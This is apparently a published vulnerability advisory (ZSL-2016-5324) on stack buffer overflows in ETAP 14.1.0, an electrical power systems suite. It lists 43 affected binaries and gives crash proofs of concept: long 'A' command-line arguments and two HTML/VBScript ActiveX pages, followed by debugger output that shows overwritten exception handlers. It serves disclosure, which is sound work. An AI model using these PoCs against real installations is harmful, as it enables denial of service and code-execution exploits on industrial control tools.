Operation Technology ETAP 14.1.0 Multiple Stack Buffer Overrun Vulnerabilities Vendor: Operation Technology, Inc. Product web page: http://www.etap.com Affected version: 14.1.0.0 Summary: Enterprise Software Solution for Electrical Power Systems. ETAP is the most comprehensive electrical engineering software platform for the design, simulation, operation, and automation of generation, transmission, distribution, and industrial systems. As a fully integrated model-driven enterprise solution, ETAP extends from modeling to operation to offer a Real-Time Power Management System. Desc: Multiple ETAP binaries are prone to a stack-based buffer overflow vulnerability because the application fails to handle malformed arguments. An attacker can exploit these issues to execute arbitrary code within the context of the application or to trigger a denial-of-service conditions. Tested on: Microsfot Windows 7 Professional SP1 (EN) x86_64 Microsoft Windows 7 Ultimate SP1 (EN) x86_64 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5324 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5324.php 07.04.2016 -- Confirmed vulnerable binaries: ------------------------------ acsdvd.exe ca.exe csdvd.exe DBExtractConsoleApp.exe dccalc.exe etarcgis.exe etarcgis92.exe etarcgis93.exe ETArcGIS_TD.exe ETArcGIS_TD10.exe etcabp.exe etcp.exe etgrd.exe ETPanelRep.exe ET_CATIA.exe et_ieee.exe harmonic.exe LA3PH.exe LF3PH.exe lffd.exe lfgs.exe lfle.exe lfnr.exe ms.exe OCP.exe opf.exe OtiMongoConvert.exe PlotCompare64.exe ra.exe SC3Ph.exe scansi1p.exe scansi3p.exe SCGost1p.exe sciec1p.exe sciec3p.exe sciectr.exe scsource.exe SFA.exe so3ph.exe stlf.exe svc.exe TDULF.exe ts.exe uc.exe PoCs: ----- [vuln binary] [>256 bytes as arg] =================================== C:ETAP 1410>etcp.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (281c.202c): Access violation - code c0000005 (!!! second chance !!!) *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:windowsSysWOW64\ntdll.dll - *** WARNING: Unable to verify checksum for C:ETAP 1410etcp.exe *** ERROR: Module load completed but symbols could not be loaded for C:ETAP 1410etcp.exe eax=00000041 ebx=00190002 ecx=0000000a edx=00000365 esi=00882966 edi=000003eb eip=00407f38 esp=0018f660 ebp=0018f778 iopl=0 nv up ei pl nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207 etcp+0x7f38: 00407f38 668943fe mov word ptr [ebx-2],ax ds:002b:00190000=6341 0:000> !exchain 0018ff3c: etcp+10041 (00410041) Invalid exception stack at 00410041 =================================== C:ETAP 1410>PlotCompare64.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Unhandled Exception: System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt. at System.String.wcslen(Char* ptr) at System.String.CtorCharPtr(Char* ptr) at wmain(Int32 argc, Char** argv, Char** envp) at wmainCRTStartup() (3a98.1e20): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:windowsassemblyNativeImages_v4.0.30319_64mscorlib54c5d3ee1f311718f3a2feb337c5fa29mscorlib.ni.dll *** ERROR: Module load completed but symbols could not be loaded for C:windowsassemblyNativeImages_v4.0.30319_64mscorlib54c5d3ee1f311718f3a2feb337c5fa29mscorlib.ni.dll mscorlib_ni+0x48f380: 000007fe`dd6df380 0fb701 movzx eax,word ptr [rcx] ds:0045005c`003a0043=???? 0:000> d rdi 00000000`0278f558 00 65 93 dd fe 07 00 00-06 02 00 00 41 00 41 00 .e..........A.A. 00000000`0278f568 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0278f578 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0278f588 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0278f598 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0278f5a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0278f5b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0278f5c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. =============================== C:ETAP 1410>ra.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (1e5c.2f90): Access violation - code c0000005 (!!! second chance !!!) *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:windowsSysWOW64\ntdll.dll - *** WARNING: Unable to verify checksum for C:ETAP 1410\ra.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:ETAP 1410\ra.exe - eax=0018f4a0 ebx=00000000 ecx=00000041 edx=00000359 esi=005c2962 edi=00000000 eip=00408376 esp=0018f2cc ebp=0018f3f4 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ra!CFileMap::operator=+0x786: 00408376 66898c50ae040000 mov word ptr [eax+edx*2+4AEh],cx ds:002b:00190000=6341 0:000> !exchain 0018ff3c: ra!CFileMap::GetLength+7b21 (00410041) Invalid exception stack at 00410041 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0018f3f4 0040855f 00000001 0018f430 00000000 ra!CFileMap::operator=+0x786 0018f410 00427462 f6504047 00000000 00000001 ra!CFileMap::GetLength+0x3f 0018ff48 00410041 00410041 00410041 00410041 ra!CFileMap::SetFileLength+0x125a2 0018ff4c 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff50 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff54 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff58 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff5c 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff60 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff64 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff68 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff6c 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff70 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff74 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff78 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff7c 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff80 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 0018ff84 00410041 00410041 00410041 00410041 ra!CFileMap::GetLength+0x7b21 .. 0:000> d esi 005c2962 72 00 61 00 2e 00 65 00-78 00 65 00 20 00 20 00 r.a...e.x.e. . . 005c2972 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 005c2982 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 005c2992 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 005c29a2 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 005c29b2 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 005c29c2 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 005c29d2 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. =============================== C:ETAP 1410>SFA.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA STATUS_STACK_BUFFER_OVERRUN encountered (39e0.35b4): WOW64 breakpoint - code 4000001f (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:windowssyswow64kernel32.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for SFA.exe - kernel32!GetProfileStringW+0x12cc9: 75150265 cc int 3 =============================== C:ETAP 1410>so3ph.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA STATUS_STACK_BUFFER_OVERRUN encountered (380c.3cc4): Break instruction exception - code 80000003 (first chance) *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:windowssystem32kernel32.dll - *** WARNING: Unable to verify checksum for SO3Ph.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SO3Ph.exe - kernel32!UnhandledExceptionFilter+0x71: 00000000`76fcb8c1 cc int 3 0:000> r rax=0000000000000000 rbx=0000000000000000 rcx=000063dde1df0000 rdx=000000000000fffd rsi=0000000000000001 rdi=0000000000000002 rip=0000000076fcb8c1 rsp=00000000000fe780 rbp=ffffffffffffffff r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=00000000000fe310 r12=0000000140086150 r13=0000000000000000 r14=000000000012eb00 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 kernel32!UnhandledExceptionFilter+0x71: 00000000`76fcb8c1 cc int 3 =============================== C:ETAP 1410>TDULF.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (36bc.36b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:windowssystem32kernel32.dll - *** WARNING: Unable to verify checksum for C:ETAP 1410LF3PHDLL.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:ETAP 1410LF3PHDLL.dll - kernel32!lstrcpyW+0xa: 00000000`76f7e41a 668911 mov word ptr [rcx],dx ds:00000000`00130000=6341 0:000> r rax=000000000012e9d0 rbx=0000000000000001 rcx=0000000000130000 rdx=0000000000000041 rsi=0000000000000000 rdi=000000000012bcf0 rip=0000000076f7e41a rsp=000000000012bc98 rbp=0000000000000000 r8=000000000012fc18 r9=0000000000000000 r10=0000000000000000 r11=0000000000000202 r12=0000000000000000 r13=0000000000000000 r14=000000000000000a r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 kernel32!lstrcpyW+0xa: 00000000`76f7e41a 668911 mov word ptr [rcx],dx ds:00000000`00130000=6341 0:000> d rax 00000000`0012e9d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012e9e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012e9f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012ea00 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012ea10 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012ea20 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012ea30 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00000000`0012ea40 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. ... 0:000> r rax=0000000000000000 rbx=0000000000000001 rcx=ffffffffffffffff rdx=00410041004123a1 rsi=0000000000000000 rdi=00410041004123a1 rip=000007fefd0a17c7 rsp=000000000012b9a8 rbp=0000000000000000 r8=ffffffffffffffff r9=000000000012ef68 r10=0000000000000000 r11=0000000000000202 r12=0000000000000000 r13=0000000000000000 r14=000000000000000a r15=0000000000000000 iopl=0 nv up ei ng nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 KERNELBASE!lstrlenW+0x17: 000007fe`fd0a17c7 66f2af repne scas word ptr [rdi] =============================== COM/ActiveX PoCs: ----------------- <html> <object classid='clsid:E19FDFB8-B4F6-4065-BCCF-D37F3E7E4224' id='target' /> <script language='vbscript'> targetFile = "C:Program Files (x86)Common FilesETAPiPlotLibrary.ocx" prototype = "Property Let Name As String" memberName = "Name" progid = "iPlotLibrary.iPlotDataCursorX" argCount = 1 arg1=String(1000, "A") target.Name = arg1 </script> </html> (2750.243c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program Files (x86)Common FilesETAPiPlotLibrary.ocx - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:windowssyswow64OLEAUT32.dll - eax=00000000 ebx=00000000 ecx=00000000 edx=02d13084 esi=02d13084 edi=001be684 eip=0301c146 esp=001be608 ebp=001be634 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 iPlotLibrary!DllUnregisterServer+0x104e5a: 0301c146 8b4304 mov eax,dword ptr [ebx+4] ds:002b:00000004=???????? 0:000> d edx 02d13084 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d13094 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d130a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d130b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d130c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d130d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d130e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02d130f4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA =============================== <html> <object classid='clsid:E19FDFB8-B4F6-4065-BCCF-D37F3E7E4224' id='target' /> <script language='vbscript'> targetFile = "C:Program Files (x86)Common FilesETAPiPlotLibrary.ocx" prototype = "Property Let MenuItemCaptionValueY As String" memberName = "MenuItemCaptionValueY" progid = "iPlotLibrary.iPlotDataCursorX" argCount = 1 arg1=String(1044, "A") target.MenuItemCaptionValueY = arg1 </script> </html>